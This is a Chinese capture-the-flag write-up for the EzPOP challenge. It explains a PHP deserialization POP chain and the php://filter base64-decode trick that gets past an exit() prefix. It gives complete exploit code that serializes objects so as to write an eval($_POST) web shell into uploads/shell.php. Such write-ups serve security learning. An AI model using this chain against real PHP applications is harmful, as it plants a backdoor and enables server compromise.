[EIS 2019]EzPOP
[EIS 2019]EzPOP
考点
php://filter/write绕过“死亡exit”
wp
给了源码,返回头看到PHP版本7.3。其实这里不给源码也可以做,用arjun可以探测参数,存在参数src,传入就可以看到源码了。

给了源码,一点一点看。首先定义两个类,然后GET的src参数,上传目录uploads/,最后反序列化data

确定是反序列化,然后找__destruct()作为入口,可以锁定class A,然后$this->autosave为false,然后不断向上调用

getForStorage()那一大块可以写成一段代码,这段代码意思举个例子解释,比如array("0"=>array("path"=>"a")),处理之后就是array("0"=>"a"),感觉有点多此一举。再json_encode一下,变成一个字符串。在getForStorage()后执行的是 $this->store->set(),由此跳转到class B
function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
$cache = array("0"=>array("path"=>"a"));
$cleaned = cleanContents($cache);
var_dump(json_encode([$cleaned, "2"]));到这可以先写一下A类的序列化
class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store){
$this->key = 'tmp1';
$this->expire= 'tmp2';
$this->store= $store;
}
}
$b = new B();
$a = new A($b);
$a->cache = array("tmp3");
$a->complete = "tmp4";然后看class B的set函数,接收的三个参数分别是$name,$value,$expire,分别与$a->key,json_encode([$a->cache, "2"]),$a->expire相关联。然后把$expire转化为整型,用$this->options['prefix']拼接$name,处理$filename,这里感觉也没啥用,对$filename和$expire处不处理并没有多大影响,更像是从哪个项目里复制出来的。

然后看一下$value的处理,它的值应该是类似于这种[[{"path":"a"}],2],或者是这种[["a"],2],把它作为参数传给$this->serialize(),在这个函数里面可以执行任意函数,但是没有函数的参数是像$value那种,所以这里最好是保持空过,$serialize就可以是trim或者strval之类的函数
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}接着往后看,这里的if是是否进行数据压缩,$this->options['data_compress']置为false,跳过这一步。sprintf('%012d', $expire)是把$expire左补齐12位,如果$expire是11,那么这个结果就是000000000011。再看这两行行,就是典型的php://filter的妙用,绕过“死亡exit”。$data为要写入的shell,$filename为php://filter/write=convert.base64-decode/resource=shell.php
if ($this->options['data_compress'] && function_exists('gzcompress')) {
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;在$data = 那一行中,可以被base64识别的是php000000000011exit这19个字符,要在shell中补字符直到总长度符合base64解码规范
class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store){
$this->key = 'uploads/shell.php';
$this->expire= 1;
$this->store= $store;
}
}
class B{}
$b = new B();
$b->options['data_compress'] = false;
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['serialize'] = "trim";
$a = new A($b);
/* <?php eval($_POST[1]);?>*/
$a->cache = array("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+");
$a->complete = 2;如果这样生成代码,得到的value是[["PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+"],2],前面是21个字符,中间补3个,后面补3个,最后cache是array("aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+aaa")
完整代码
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store){
$this->key = 'uploads/shell.php';
$this->expire= 1;
$this->store= $store;
}
}
class B{}
$b = new B();
$b->options['data_compress'] = false;
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['serialize'] = "trim";
$a = new A($b);
/* <?php eval($_POST[1]);?>*/
$a->cache = array("aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+aaa");
$a->complete = 2;
echo urlencode(serialize($a));
小结
[2020 新春红包题]1是它的增强版
最后更新于